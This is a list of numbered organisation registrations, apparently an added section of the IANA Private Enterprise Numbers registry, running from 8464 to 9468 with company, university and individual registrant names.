+8464 University of Wollongong IEEE Student Branch
+8465 LodeSoft Corp.
+8466 RAWK Systems, Inc.
+8467 La Page Trad
+8468 American Medical Association
+8469 Domestic WANs
+8470 Learning Machines, Inc.
+8471 Universidad Del Bio-Bio
+8472 Lynk a division of BOS Ltd
+8473 University of Massachusetts Amherst
+8474 Saltec Powerlink
+8475 Veilex
+8476 Kyuden Infocom Company, Inc.
+8477 CyberTron Software GmbH
+8478 TongTech CO., Ltd,
+8479 now.com
+8480 Fairleigh Dickinson University
+8481 HiGHKU
+8482 Colorado State University
+8483 Trenza, Corp
+8484 Allegheny Energy
+8485 Virtual Software, S.L.
+8486 City-Net Tech. Inc.
+8487 MightyView, Inc.
+8488 University of Alabama
+8489 Pico Technology Ltd
+8490 Direct Commerce
+8491 drzyzgula.org
+8492 Iscanet Internet Services
+8493 Web Office China
+8494 MOSAIC SOFTWARE AG
+8495 MILESYS
+8496 Facilitair bedrijf, Hogeschool van Utrecht
+8497 Deluxe Video Services Ltd
+8498 Akumiitti Ltd
+8499 Eduserv
+8500 Dr. Nagler & Cie. Consult GmbH
+8501 ANTEL - Operations
+8502 Internet Park, Inc.
+8503 Unicess Networks
+8504 Sparzo Enterprises
+8505 SKYTEC AG
+8506 Ximian, Inc.
+8507 CyberTrails, LLC
+8508 Final Piece
+8509 ViNAWARA Co.,Ltd.
+8510 Yunbj Co.,Ltd.
+8511 ThoughtWorks, Inc.
+8512 Capgemini Telecom Media & Networks Sweden AB
+8513 Katelco
+8514 Sonocomp GmbH
+8515 Deonet Co., Ltd.
+8516 Proxion Org
+8517 APL/Software
+8518 JGiovatto
+8519 Trevalon, Inc.
+8520 Winterlink Inc
+8521 Bytemobile, Inc.
+8522 Robot Accomplice Software & IT Solutions (formerly 'Machinebuilt Software, Inc.')
+8523 Petrasoft Inc
+8524 Cybercafe
+8525 Paula's Home Creations
+8526 Consiglio Nazionale del Notariato
+8527 Harvard MIT Data Center
+8528 HeyAnita Inc.
+8529 Salira Optical Network Systems, Inc.
+8530 MomsDesk Commerce Corporation
+8531 SyncWorks
+8532 NANYA Technology Corp.
+8533 Snapshield
+8534 HiHat Enterprise Solutions
+8535 Nekhem Technologies
+8536 Datachorus
+8537 Turbo NetWorks Co., Ltd.
+8538 Saxonia Systems AG
+8539 Institute "Norilskproject"
+8540 LCPC
+8541 Interactive Media S.r.l.
+8542 Sandial Systems, Inc.
+8543 Global TeleLink Services, Inc.
+8544 SmallBuddha.org
+8545 HTL Steyr
+8546 Coleebris
+8547 Mississippi State University
+8548 South Suburban College
+8549 Cylant Technology
+8550 Hatteras Networks
+8551 Yotta Networks, Inc
+8552 TechTracker.com
+8553 Subtheory
+8554 Departement Elektrotechnik, ETH Zuerich
+8555 Digitalwave, Inc
+8556 Bank MENATEP SPb, Samara
+8557 Globaloop Ltd.
+8558 Gimnazija Bezigrad Ljubljana
+8559 Coconut
+8560 Cleverlance s.r.o.
+8561 Hotsip
+8562 Platinet Communications
+8563 SSE
+8564 CTI2
+8565 Medical Research Laboratories
+8566 Lasse Hillerøe Petersen
+8567 Active Power, Inc.
+8568 VirtualTek Corporation
+8569 iXON
+8570 Enonic
+8571 ConnectSuite
+8572 TDS Informationstechnologie AG
+8573 S4i
+8574 SEAS LLC
+8575 ManageIT Company
+8576 Flowstone, Inc.
+8577 Axiowave Networks
+8578 People.Com, Inc,
+8579 Operadora Protel, SA de CV
+8580 Tellme Networks, Inc.
+8581 Oy Comsel System Ab Kristian
+8582 Netgene Tech. Inc.
+8583 Kabelfoon BV
+8584 Sorbonne
+8585 Saab Deutschland GmbH
+8586 MODCOMP GmbH
+8587 WiredMinds Informationssysteme GmbH
+8588 Munich Re Insurance AG
+8589 Framesoft AG Software Applications
+8590 Okena, Inc.
+8591 ManSoft
+8592 CGI
+8593 WebTone Technologies
+8594 Telia eTelia A/S
+8595 HITRON Technology, Inc.
+8596 NEUSOFT CO.,LTD
+8597 Access Solutions International Corporation
+8598 Digital Diagnostic Imaging
+8599 Velankani Information Systems Ltd.
+8600 Linux Generation B.V.
+8601 BellSouth Customer Technologies
+8602 Qarana Solutions
+8603 Flarion Technologies
+8604 Leapfrog Technologies LLC
+8605 Wireless Knowledge
+8606 Vancouver School District # 37
+8607 Portland Internetworks
+8608 Cini Systems
+8609 Newsradar Deutschland
+8610 Snmp Everywhere
+8611 VSoft
+8612 Toe Technology Company Limited
+8613 HealthNetwork Systems
+8614 Roxen Internet Software
+8615 BioWare Corp.
+8616 Witt Family
+8617 ATYF
+8618 iProperty.com
+8619 David Hopwood Network Security
+8620 AKO
+8621 Excido Pty Ltd
+8622 Satyam Infoway Limited
+8623 RadioMobil a.s.
+8624 Denis Neuhart Computing
+8625 The Lifetime Healthcare Companies
+8626 Club Internet
+8627 Ailis
+8628 Arkoon Network Security
+8629 Fireclick
+8630 MPI tech
+8631 MeshNetworks, Inc.
+8632 Winphoria Networks
+8633 Atmos Energy Corporation
+8634 The ZaneRay Group, Inc.
+8635 Rob Semenoff Enterprises
+8636 Planet Pratt
+8637 Amphus, Inc.
+8638 RouteScience Technologies, Inc.
+8639 Polytrust AB
+8640 Santam Limited
+8641 7441.com
+8642 EnderUNIX
+8643 The Math Forum
+8644 Anoto
+8645 InfiniSwitch Corporation
+8646 Scottish Qualifications Authority
+8647 Winbox.com
+8648 Renaissance Technologies Corp.
+8649 Pinnacle Technology, Inc.
+8650 Apriva, Inc.
+8651 Heart Institute (InCor), University of São Paulo Medical School
+8652 Uppsala University
+8653 unassigned
+8654 INTRINsec
+8655 Apcentric Limited
+8656 DCM Online Limited
+8657 Hochschulrechenzentrum, Fachhochschule fuer Wirtschaft und Technik(FHTW) Berlin
+8658 Empresa Nacional de Certificacion Electronica
+8659 Asia e-publications Ltd.
+8660 Telaid
+8661 University of Utah College of Engineering CADE Lab
+8662 University of Louisville
+8663 Bermuda Triangle Services Ltd
+8664 Akeena, Inc.
+8665 Bruce Technical Services
+8666 FirstPeer
+8667 Textme.org Ltd
+8668 Eli Lilly and Company
+8669 Teracom Telecomunicações Ltda
+8670 Polyester Media
+8671 ETI
+8672 Farmers Insurance
+8673 Borderware Technologies Inc.
+8674 Java Secure
+8675 Autodesk, Inc.
+8676 Transparent
+8677 ISDN-Net, Inc.
+8678 Intrusion.com
+8679 Atlas Copco Airpower
+8680 Open Roads Consulting Inc.
+8681 Free Speech Media LLC
+8682 UltraSecure.com
+8683 Integrity Systems Ltd.
+8684 frd.net
+8685 Habeebee
+8686 Personal Evaluation
+8687 Milestone R/D Labs
+8688 Shepherd-Express
+8689 Miller Simon McGinn and Clark
+8690 IPAGEON Co.Ltd
+8691 Moxa Technologies Co., Ltd.
+8692 Network Programs
+8693 A-xell Wireless AB (formerly 'Avitec AB')
+8694 University of Wolverhampton
+8695 Mission Data
+8696 myCustoms
+8697 Raiffeisen Informatik GmbH
+8698 Viasat, Inc.
+8699 iWay Software
+8700 World Savings
+8701 Intelligent Information Systems
+8702 Noncyclic Networks
+8703 Voyus Canada Inc.
+8704 Sakhalinsvyaz JSC
+8705 Israel Local Authorities Data Processing Center LTD
+8706 Unassigned
+8707 SpiderNet Services Ltd
+8708 Lumentis AB
+8709 Landesamt für Besoldung und Versorgung NRW
+8710 Envoy Networks
+8711 THALES Broadcast & Multimedia
+8712 LANcope, Inc.
+8713 Abako Media Oy
+8714 iNOC, Inc.
+8715 Health Sciences Centre
+8716 Triveni Digital, Inc.
+8717 David Mistretta
+8718 Gwent Consultancy
+8719 Raviant Networks, Inc.
+8720 Zack Systems, Inc.
+8721 Ingram Technology Limited
+8722 etoolbelt.net
+8723 Integrated Data Pty Ltd
+8724 Human Technology
+8725 Canberra Institute of Technology
+8726 Incisive Designs
+8727 Torry Harris Business Solutions Thirunavukarasu
+8728 Computer Network Information Center, Chinese Academy of Sciences
+8729 LETEK Communications, Inc.
+8730 Serck Controls Ltd.
+8731 Pantor Engineering AB
+8732 Tokyo Institute of Technology
+8733 Ambient Computing, Inc.
+8734 Matthias Wimmer
+8735 Quark Inc.
+8736 MetaVector Technologies
+8737 SecureNet GmbH - Intranet & Internet Solutions
+8738 Pirelli Informatica S.p.A.
+8739 KAPTECH
+8740 KOM Networks
+8741 SonicWALL, Inc.
+8742 Alphion
+8743 RadioFrame Networks
+8744 Colubris Networks Inc.
+8745 Informática para todos, SA de CV
+8746 Queensland University of Technology
+8747 Libelle AG
+8748 LOQUENDO SpA
+8749 TELCOM ITALIA LAB
+8750 Bucknell University
+8751 Geodesic Systems
+8752 Kernel
+8753 Dataflow Alaska, Inc.
+8754 XouL
+8755 Hebrew University Computation Center
+8756 Celltick
+8757 Feather Mobile Systems
+8758 Walnut Concepts
+8759 LG Innotek Co., Ltd.
+8760 NEITech
+8761 Zavod za varnostne tehnologije informacijske druzbe in elektronsko
+8762 SI-CA
+8763 eIQnetworks
+8764 KB Electronics Ltd
+8765 Telesoft Technologies Ltd
+8766 Elsag S.p.A.
+8767 Bayour.COM
+8768 Nevion (formerly 'Network Electronics')
+8769 TeraOptic Networks, Inc.
+8770 The Emerginggroup Group
+8771 ARCANVS, Inc.
+8772 e-Manufacturing Networks Inc.
+8773 CHINA TEXTILE NETWORK CO.,LTD.
+8774 Universal Scientific Industrial Co., Ltd.
+8775 BeST (Business Execution-Solutions & Technology) Dave
+8776 Zman Tikshuv
+8777 aQute
+8778 SYAC
+8779 Telespazio
+8780 ip-connect GmbH
+8781 ChamberSign
+8782 Keutel
+8783 akella.org
+8784 BroadQuay Consultancy Ltd.
+8785 Guay Internet
+8786 SecureOps Inc.
+8787 Ivrnet Inc.
+8788 CyberGate Internet Services
+8789 PreNet Corporation
+8790 Prisa Networks
+8791 ivv GmbH
+8792 Axes India Ltd
+8793 Realize IT GmbH
+8794 eYak Inc.
+8795 Inteliguard
+8796 Gestion del Conocimiento S.A. Miquel
+8797 Mannesmann Arcor AG & Co
+8798 IT-Management & Solution GmbH
+8799 cypherOptics
+8800 YH Consulting
+8801 SenaReider
+8802 Yehti, Inc.
+8803 Thuridion
+8804 Kirana Networks
+8805 Kessler-Huron Computer Systems
+8806 Gluon Networks
+8807 Finestra Software
+8808 Xi'an Xinli Network System Technology Co.,Ltd
+8809 Tomorrow Software
+8810 Artigas Computer
+8811 Prompt2U
+8812 ITBS OnLine
+8813 Skyline Communications
+8814 Funcom NV
+8815 Collectively Sharper
+8816 getyourcar AG
+8817 Websemantix
+8818 SandCherry Networks, Inc.
+8819 Raytion
+8820 sysTime-solutions AG
+8821 Phi Kappa Theta Fraternity - Gamma Tau Chapter
+8822 Linuxcare, Inc.
+8823 I.NET S.p.A.
+8824 Wizzy
+8825 DNX Communications
+8826 ComNet Software Specialists,Inc
+8827 Nu-kote International
+8828 General Dynamics - Mission Systems
+8829 Axell Wireless Limited (formerly 'Aerial Facilities Limited')
+8830 Xyphius Solutions Inc.
+8831 Agora Systems Ltd
+8832 Ecominds Ltd
+8833 ISPMan
+8834 Cognet Corp.
+8835 Wizard Productions
+8836 AUUG Incorporated
+8837 AscenVision
+8838 ACS Internet, Inc.
+8839 Microtest
+8840 MBridge Systems Inc.
+8841 InterCom International Communications Ltd.
+8842 Clockwork Web
+8843 INACCESS NETWORKS SA
+8844 Diveo Broadband Networks
+8845 Enablence USA FTTX Networks Inc (formerly 'wave7optics')
+8846 Caramail
+8847 Pivotech Systems, Inc
+8848 Rootroute Research
+8849 LPMD.ORG
+8850 Cyradis Technology Group Inc.
+8851 Ultra Enterprises
+8852 AARNet Pty Ltd
+8853 A-Trust
+8854 INTENS IT
+8855 Intelsis Sistemas Inteligentes S.A. Cesar
+8856 IdecNet SA
+8857 Nauticus Networks Inc.
+8858 destef.com Software
+8859 Private Business Inc.
+8860 Holcim Group Support Ltd.
+8861 Secorvo Security Consulting GmbH
+8862 AppWired, Inc.
+8863 Etiers International Inc
+8864 Dystopium.com
+8865 FAST Search and Transfer
+8866 GeoTEC Internet
+8867 StoreAge Networking Technologies
+8868 Velos, Inc.
+8869 Coscend Corporation
+8870 KINS(Knowlege and Information Net for Sharing) Lab.
+8871 Youngblood Technologies
+8872 Saintjo
+8873 JAL INFORMATION TECHNOLOGY CO.,LTD.
+8874 Utt Technologies
+8875 Columbitech AB
+8876 willeke.com
+8877 Suntail
+8878 Firmenich SA
+8879 Zetac Limited
+8880 IDENTEC Solutions AG
+8881 Trust Italia S.p.a.
+8882 Empower Interactive Group Limited
+8883 Moonlight Systems
+8884 Versant Corporation
+8885 Internet Security One Ltd.
+8886 Beijing Raisecom Scientific & Technology Development Co., Ltd.
+8887 VASoft (Pty) Ltd.
+8888 WEBGSM
+8889 virtual solution AG
+8890 Broadcast Technology Limited
+8891 sforce.org
+8892 Chaman Productions
+8893 Mobilitec
+8894 Rivermen AB
+8895 Information Systems Consulting (Insyc)
+8896 Sistematica
+8897 Alltel Information Services
+8898 Weavers Network Consulting
+8899 The McGraw-Hill Companies
+8900 Intellitactics
+8901 Monkeybagel Hardware Solutions
+8902 GeoTEC Internet
+8903 NetNearU CorporateTAM
+8904 Cooper Industries
+8905 HuntCorp Enterprises
+8906 Solnet Pty Ltd
+8907 GE CompuNet Computer AG & Co. oHG
+8908 Belgacom NV of public Law
+8909 DICA Technologies AG
+8910 Meitner - Soluções Internet e Sistemas de Informação, Lda
+8911 Appelsiini Finland Oy
+8912 Alice's Registry, Inc.
+8913 Federal Linux Systems
+8914 Galderma Laboratories L.P.
+8915 Ralf Bensmann
+8916 Infogate Online
+8917 Strelitzia Be
+8918 J-PHONE EAST CO.,LTD.
+8919 Huysmans en Kuypers Automatiseringsburo
+8920 Bamboo MediaCasting
+8921 Nice Work Textile Corp.Ltd
+8922 RESI Informatica S.r.l.
+8923 Keyware
+8924 Inforad - Com. Serv Ltda.
+8925 Transora
+8926 VIP Switch Inc.
+8927 Paceline Systems Corporation
+8928 Asta Networks
+8929 Dominion Electronics Pty Ltd
+8930 Pelago Networks
+8931 Cordell, Inc
+8932 WaterWare Internet Services, Inc.
+8933 Wokup
+8934 b-process
+8935 Wisdom Assen BV
+8936 WebToGrid
+8937 Thirdspace Living Ltd
+8938 Cyberell Oy
+8939 Frontec netSolution AB
+8940 SAVVIS Communications
+8941 JC Enterprises
+8942 AMX Corp
+8943 Analog Design Autoamtion Inc.
+8944 Obfuscated Networking
+8945 In-Q-Tel Inc.
+8946 ThinAirApps
+8947 Viacore, Inc.
+8948 A S Promotions LTD
+8949 OuterSpace Consultants
+8950 webBASIS, Inc.
+8951 Platys Communications
+8952 JSC Belsvyaz
+8953 MightySun LLC
+8954 VTEX Typesetting Services
+8955 GORGY TIMING
+8956 ZICOM Electronic Security Systems Ltd.
+8957 Railinfrabeheer BV
+8958 James A. Mahlen & Associates
+8959 IER Incorporated
+8960 Coree Networks Inc.
+8961 Paradigm Secure Communications
+8962 IntruVert Networks, Inc.
+8963 Advanced Web Communication, division of Xecom, Incorporated
+8964 Bezirksregierung Duesseldorf
+8965 Dff Internet & Medien
+8966 PurOptix
+8967 NASA JSC
+8968 Juha Saarinen IT Writer
+8969 Rio Tinto
+8970 Argogroup Interactive Ltd
+8971 Speed to Market Engines
+8972 IP Powerhouse Ltd.
+8973 Grupo Eurociber S.A.
+8974 Universitaet Marburg
+8975 Soluzione Script GmbH
+8976 Airia, Inc.
+8977 Synamics Inc.
+8978 Sears Holdings Corp
+8979 The Real Asset Company Limited
+8980 Collective Technologies
+8981 Joeunsecurity
+8982 Ipertrade s.r.l.
+8983 Bivio Networks
+8984 C J SPAANS
+8985 The Synaptic Group, Inc.
+8986 Arcotect Limited
+8987 State Infocommunication Foundation of Estonia
+8988 Pingworks
+8989 Naino Corporation
+8990 Redpill Linpro AS (formerly 'Linpro AS')
+8991 MARPOSS S.p.A.
+8992 Unisoft Consultants
+8993 Asera Inc.
+8994 Avantas Networks
+8995 Lo-Wang.org
+8996 TransactPlus, Inc.
+8997 ProArp Inc.
+8998 Cottay
+8999 TVS eTechnology Limited
+9000 Personal Path Systems, Inc.
+9001 Goltier Media Group (Sitepak)
+9002 LXPRO.COM
+9003 slimjones.
+9004 SuSE Linux Venezuela, C.A.
+9005 Video Networks Limited
+9006 Apache Consulting Ltd.
+9007 FineGround Networks
+9008 Digital Route
+9009 Agni Systems Limited
+9010 Liebenzell Mission
+9011 Laminar Software, Inc.
+9012 MailVision Ltd.
+9013 SpiritSoft Inc
+9014 Belenos, Inc.
+9015 World Streaming Network, Inc.
+9016 FreeRein Corporation
+9017 Cogent Systems, Inc.
+9018 CQR Data Ltd.
+9019 Cap Gemini Telecom Media & Networks Deutschland GmbH
+9020 Computer Adaptive Technologies, Inc.
+9021 WideOpenWest LLC
+9022 TrueSAN Networks
+9023 Netsanity Inc.
+9024 Telia Internet, Inc.
+9025 NetCologne
+9026 adisoft systems GmbH & Co. KG
+9027 SoftNerd
+9028 Lendx
+9029 BSD Users Group Italia
+9030 iVMG Incorporated
+9031 Nexter Information Technology
+9032 IVSTel
+9033 Elion Enterprises Ltd
+9034 Jabber.com
+9035 CFS Brands, LLC
+9036 Jim Dutton
+9037 Everyday Office Inc.
+9038 Well Diagnostics
+9039 Chengdu Ideal Telecom Technology,Inc.
+9040 Chengdu Ideal Information Industry Co,Ltd.
+9041 Cambridge University Engineering Department
+9042 Teinos
+9043 Execulink
+9044 NEC Eluminant Technologies, Inc.
+9045 eNetSecure, Inc
+9046 Amecisco
+9047 Blue Cross Blue Shield of Florida
+9048 Open System Consultants
+9049 Integrity Online
+9050 Telenor Link AS
+9051 Faculdade de Ciências e Tecnologia da Universidade Nova de Lisboa
+9052 Sunbay Software AG
+9053 Tovaris IP LC
+9054 Tokheim
+9055 9Rivers.com
+9056 TelStrat International, Ltd.
+9057 Millennium Communication Network
+9058 Jamcracker
+9059 Vectrad Networks Corporation
+9060 RuleSpace, Inc.
+9061 Deutscher Go-Bund
+9062 SRS Microsystems
+9063 iHive Technology Pte Ltd
+9064 ATM ComputerSysteme GmbH
+9065 Nettasking Technology (Singapore) Pte Ltd.
+9066 Global Security Technologies, Inc.
+9067 Cambia Networks
+9068 Delphi Associates, Ltd.
+9069 Phillip's Technical Services
+9070 Symmetricom
+9071 Spirian Technologies, Inc.
+9072 AckleyNet
+9073 Sunnyvale Community Players
+9074 John M. Sutherland, Inc.Insurance
+9075 Novex Solutions
+9076 Tokyo Metallic Commuynications Corp.
+9077 Dekart
+9078 Be Connected Ltd
+9079 The Sanjyot Bharathan Design Association
+9080 Babel Com Australia
+9081 eachnet
+9082 eXtremail
+9083 eteamconsulting.com
+9084 Keynote Systems, Inc.
+9085 Optical Switch Corporation
+9086 US Robotics
+9087 Brightmail, Inc.
+9088 Oso Grande Technologies, Inc.
+9089 New Mexico Technet, Inc.
+9090 Datagrove
+9091 MICRO-STAR INT'L CO., Ltd.
+9092 Veenstra Graphic Solutions
+9093 Innovate I.T. Logistics BV
+9094 Amber Archer Consulting Co., Inc.
+9095 NIPPON MITSUBISHI OIL CORPORATION
+9096 Zentrum für Produkt Entwicklung, ETH Zürich
+9097 CDFtel
+9098 DW Systems
+9099 Central Systems International, Inc.
+9100 Mstel
+9101 Optum Computing Solutions, Inc.
+9102 Telecash Kommunikations-Service GmbH
+9103 Yu-Shei Real Estate Co.
+9104 Chu-Shen Co. Ltd
+9105 MIST
+9106 ELIOS Informatique
+9107 Ferguson Enterprises, Inc.
+9108 Random Walk Computing, Inc.
+9109 infogear
+9110 Net Asia Angeles CIty
+9111 Newway Tech. Inc.
+9112 Palamedes GmbH
+9113 Wiral Ltd
+9114 YLine Web Access Services
+9115 Archon Technologies, Inc.
+9116 Ubicom, Inc
+9117 LeWiz Communications Inc.
+9118 1Ci GmbH
+9119 Advanced Rotorcraft Technology, Inc.
+9120 Narada Networks Inc.
+9121 Eduquip Limited
+9122 UPCtv Interactive
+9123 Université Pierre Mendès France
+9124 Intellitactics Inc.
+9125 Inspiration Technology Pty Ltd
+9126 Aetian Networks
+9127 ADVANCED PERIPHERALS TECH. Inc.
+9128 Centre de traduction des organes de l'Union européenne
+9129 Linkvest SA
+9130 Hemisphere Technologies
+9131 Roland Felnhofer
+9132 Hutchison OPTEL Telecom Technology CO.,Ltd
+9133 Microraab Electronics
+9134 Telenet NV
+9135 Heyde AG
+9136 ISDN Communications Ltd
+9137 Annatel
+9138 AnteFacto
+9139 Petroleum Business Institute
+9140 Media General, Inc.
+9141 Riptech
+9142 Infopaq International A/S
+9143 Edmunds.com
+9144 Trader Electronic Media
+9145 AccessPt. Inc.
+9146 Reporter-Times, Inc.
+9147 TeaLeaf Technology, Inc.
+9148 Acme Packet
+9149 LOCUS Corporation
+9150 Metromedia Fiber Network
+9151 Wiral Ltd.
+9152 Dit Company Limited
+9153 ACTIA Telecom
+9154 Figment Technologies Inc.
+9155 BlueNetworkX
+9156 eGurkha Pvt Ltd.
+9157 CoreComm
+9158 The Internet Group
+9159 SHad0ws.net
+9160 DGT Sp. z o.o.
+9161 Universidad del Pais Vasco
+9162 Pädagogische Hochschule Freiburg
+9163 GNU Radius Project
+9164 Xware AB
+9165 Cabinet Remouit
+9166 Universidad Galileo
+9167 ANXeBusiness Corp
+9168 Transaccess
+9169 Novis Telecom, SA
+9170 Exaecon Inc.
+9171 NetTone
+9172 HVC Technologies
+9173 Kohl's
+9174 A2V ict
+9175 Stream Theory, Inc
+9176 Open-IT
+9177 ThinkFree.Com, Inc
+9178 DaeSung Corp.
+9179 INTESABCI SISTEMI E SERVIZI
+9180 Maranti Networks, Inc
+9181 Air Technology Systems
+9182 FileFish, Inc.
+9183 Samba TNG
+9184 Alterbox
+9185 MS Integration Services Inc.
+9186 Logipolis Pte Ltd
+9187 Eastman Chemical Company
+9188 Force Computers
+9189 Promedico Gmbh
+9190 Katanoo Technologies
+9191 Burgiesoft
+9192 Pirkan Tietokone Oy
+9193 CIRPACK
+9194 AustLII
+9195 AutocontControl Systems, spol. s r. o.
+9196 Algotronics
+9197 Lyndon State College
+9198 Teletron Ltd.
+9199 Daum Datentechnik
+9200 Obermeier Software
+9201 Fasturn Inc.
+9202 EnsureLink
+9203 SeguriDATA Privada, S.A. de C.V.
+9204 Aurora Networks, Inc.
+9205 Moj. Net d.o.o.
+9206 DigitalSpark
+9207 segNET Technology, Inc.
+9208 Hamilcar Development
+9209 Peace Technology, Inc.
+9210 Merlin I.T. Services Ltd
+9211 Rabobank ICT
+9212 Wavium AB
+9213 NetSeal Technologies
+9214 Kemuri Systems
+9215 ERIDAN Informatique
+9216 Universidade de Évora, Departamento de Informática
+9217 BIOBASE Biological Databases/ Biologische Datenbanken GmbH
+9218 Skysoft Portugal
+9219 Juliao.com
+9220 OPENJCC
+9221 Shaw Communications
+9222 Phillips Petroleum Company
+9223 Roskilde University
+9224 Lawrence University
+9225 FJA
+9226 Microtest
+9227 Entrisphere, Inc.
+9228 Globetech
+9229 Totilities
+9230 #B4mad Research Lab Organization
+9231 Adir Technologies
+9232 Norwegian Mapping Authority
+9233 IER SA
+9234 Snowshore Networks Inc
+9235 FCB Direct Montreal
+9236 Fundtech Corporation
+9237 Viking Enterprise Solutions
+9238 Imagine Broadband Limited
+9239 JonesKnowledge.com
+9240 International MRI Accreditation Resources, LLC
+9241 uni-X Software AG
+9242 Instituto de Matemática e Estatística da Universidade de São Paulo
+9243 Air'Prod
+9244 PureCarbon, Inc.
+9245 Neuromics, Inc.
+9246 Automated Handling Systems, Inc.
+9247 Federal-Mogul Corporation
+9248 Paktronix Systems LLC
+9249 Musambi Corporation
+9250 Strix Systems
+9251 TR Associates
+9252 Hôtel-Dieu De Saint-Jérôme
+9253 Buildscape, LLC
+9254 Pajunas Interactive, Inc.
+9255 Vicinity Corporation
+9256 LightPointe Communications
+9257 Volera
+9258 XMLStrategies.net
+9259 SYSPOL Co., Ltd.
+9260 ADTEC Corporation
+9261 Delphi Automotive Systems Investment (China) Holding Co.,Ltd
+9262 EAST.NET Co. Ltd.
+9263 Cybernetics Technology Co., Ltd.
+9264 Caerdroia
+9265 TDISIE
+9266 Parsoft Systems Pvt. Ltd.
+9267 in-systemeGmbH
+9268 Ruhrverband
+9269 MediaBroadcast GmbH
+9270 Callsys Ltd.
+9271 Siemens NGNI
+9272 Elektrobit Ltd.
+9273 Neuro Telecom
+9274 access:Seven Communications GmbH
+9275 GENESYS
+9276 Sema Spain NEG
+9277 LOGICO Smart Card Solutions AG
+9278 econia.com
+9279 Arqana Technologies Inc.
+9280 AccessLine Communications Corporation
+9281 Standard Insurance Company
+9282 NOCpulse
+9283 Costa Rica Institute of Technology
+9284 Western Illinois University
+9285 InternetCDS
+9286 Maximum Throughput Inc.
+9287 Zeus Communications
+9288 HostPro
+9289 Unirez, Inc.
+9290 Firinn.org
+9291 Rainfinity
+9292 Webley System
+9293 Staturn Computer
+9294 W4y do Brasil Ltda
+9295 Workers Compensation Fund
+9296 Xlight Photonics Ltd
+9297 Ayeca Inc.
+9298 University of Compiègne
+9299 Hellas On Line
+9300 Hypostasis
+9301 Spider Software
+9302 ESI s.r.l.
+9303 Waystream AB (formerly 'PacketFront Network Products AB')
+9304 Connection Technology Systems
+9305 Western Michigan University
+9306 Octave Communications
+9307 RCL Enterprises
+9308 Oasis Technology Ltd.
+9309 Urzad Miasta Pabianic
+9310 ABITAB S.A.
+9311 DI Trute
+9312 Truth Consulting & Technology
+9313 DaKoMa
+9314 Curtis Family
+9315 CARTEL SECURITE
+9316 NetVoyager
+9317 Tech2Work, Inc.
+9318 DEBEKA Versicherung
+9319 NetAktiv
+9320 Nanning Telecom
+9321 Screenpeaks Ltd.
+9322 NetTech S.A.
+9323 PC Away
+9324 Division fo Cancer Studies, Birmingham UK
+9325 University of California, Riverside
+9326 Lewis and Clark College
+9327 Hygeia Corporation
+9328 National Institutes of Health (NIH)
+9329 Crusoe Communications, Inc.
+9330 Selesta S.p.A.
+9331 MaXware International AS
+9332 Applied SNMP
+9333 Lincom Wireless
+9334 IPDR.org
+9335 PowerSoft
+9336 Publix Super Markets, Inc.
+9337 Minter Corp.
+9338 Petersen Ventures LLC
+9339 Left Coast Systems Corp.
+9340 Network Infinity
+9341 Cyberfuse Technologies, LLC
+9342 Penguin Computing
+9343 Comcel S.A.
+9344 Powerwave Technologies Inc.
+9345 infinetivity, Inc.
+9346 iGeek, Inc.
+9347 Avaz Networks
+9348 Golden Telecom Ukraine
+9349 WizLAN Ltd.
+9350 Netmagic Solutions Pvt. Ltd.
+9351 FORTHnet S.A.
+9352 Conundrum Communications
+9353 Universite de Metz
+9354 Grey Interactive France
+9355 Krivorozhskiy Hlebokombinat N1
+9356 nPassage, Inc.
+9357 IT-Beratung Schaffert
+9358 Wicom Communications Ltd
+9359 Symeko Datasystems bv
+9360 Green Light Inc.
+9361 Océ Software Laboratories Namur
+9362 ENSEIRB
+9363 Spelio
+9364 InterPark Incorporated
+9365 Mindsurf Networks Inc.
+9366 Cifra
+9367 FASTSIGNS International, Inc
+9368 Storage Xstreams
+9369 Micah J. Schehl
+9370 Space Telescope Science Institute
+9371 Okolona Christian Church
+9372 Ikadega, Inc.
+9373 Clear Ink
+9374 Hermaion.org
+9375 Basler Kantonalbank
+9376 CVS / PharmacyRussell
+9377 Voyager Computer Corporation
+9378 Ilex Systems
+9379 Eumitcom Technology Inc.
+9380 Octogon Gesellschaft für Computer-Dienstleistungen mbH
+9381 Walter Biering GmbH - Mediahaus und Grafischer Betrieb
+9382 WORAH.NET
+9383 Angeles Design Systems
+9384 D2K, Inc.
+9385 Jason Wood
+9386 Clayton College & State University
+9387 Compania Mea
+9388 AsiaInfo
+9389 Magical Fruit
+9390 W.T. Services, Inc.
+9391 Audientia
+9392 Cannon Hill Anglican College
+9393 Intecs Information Ltd.
+9394 Visana Services AG
+9395 UEC Technologies
+9396 Walt Disney International
+9397 Vartech Solutions Inc.
+9398 Tokyo Metallic Communications Corp
+9399 CONSUL Risk ManagementDirk Wisse, Koos Lodewijkx
+9400 Fachhochschule Konstanz
+9401 AML Wireless Systems
+9402 dCrypt Ltd
+9403 Allinstant
+9404 Dewpoint Inc.
+9405 Kingland Systems Corporation
+9406 Synchrologic
+9407 Broadata Communications Inc.
+9408 Chester Enterprises
+9409 ClickServices
+9410 Axe Online Pty. Limited
+9411 Hitwise Pty Ltd
+9412 Contela
+9413 Operax AB
+9414 Digital Globe, Inc.
+9415 Archimed
+9416 Unassigned
+9417 egg:|
+9418 Ivistar AG
+9419 Siemens SiNiA
+9420 Baltimore Technologies
+9421 Vodafone D2
+9422 Atanion GmbH
+9423 Msa-Infor Sistemas e Automacao
+9424 A&C Automacao e Controle
+9425 Rotterdam School of Management
+9426 Adigida Solutions
+9427 Categoric Software
+9428 Orgenic Software
+9429 Mariinsky Theatre
+9430 Progress Telecom
+9431 Push, Inc.
+9432 Vingage Corporation
+9433 Vaticor Inc.
+9434 Telergy Network Services
+9435 Boletin Oficial del Estado
+9436 Crysberg A/S
+9437 Lancer Insurance Company
+9438 YellowShirt Inc.
+9439 Green Point Pty Ltd
+9440 eko system Inc.
+9441 Wall Street Systems, Inc.
+9442 Atheros communications, Inc.
+9443 Virage, Inc.
+9444 FireMon
+9445 TJB
+9446 Indiana University
+9447 Red Fern Software
+9448 Zyfer
+9449 Florida State University
+9450 Zyoptics Inc.
+9451 digeo
+9452 NetLabs SRL
+9453 Barnardos New Zealand
+9454 future gate software GmbH
+9455 Intelliclaim, Inc.
+9456 Allegro Networks
+9457 Broadband Storage, Inc.
+9458 TCSI, Inc
+9459 NileSOFT Ltd.
+9460 Salta Monte Solutions, Inc.
+9461 y2FUN.com
+9462 MMLAB KTU
+9463 Geyer und Weinig GmbH
+9464 SIEL S.p.A.
+9465 Oldenburgische Landesbank AG
+9466 CILEA
+9467 iBanx B.V.
+9468 Universite de la Mediterranee (Aix Marseille 2)
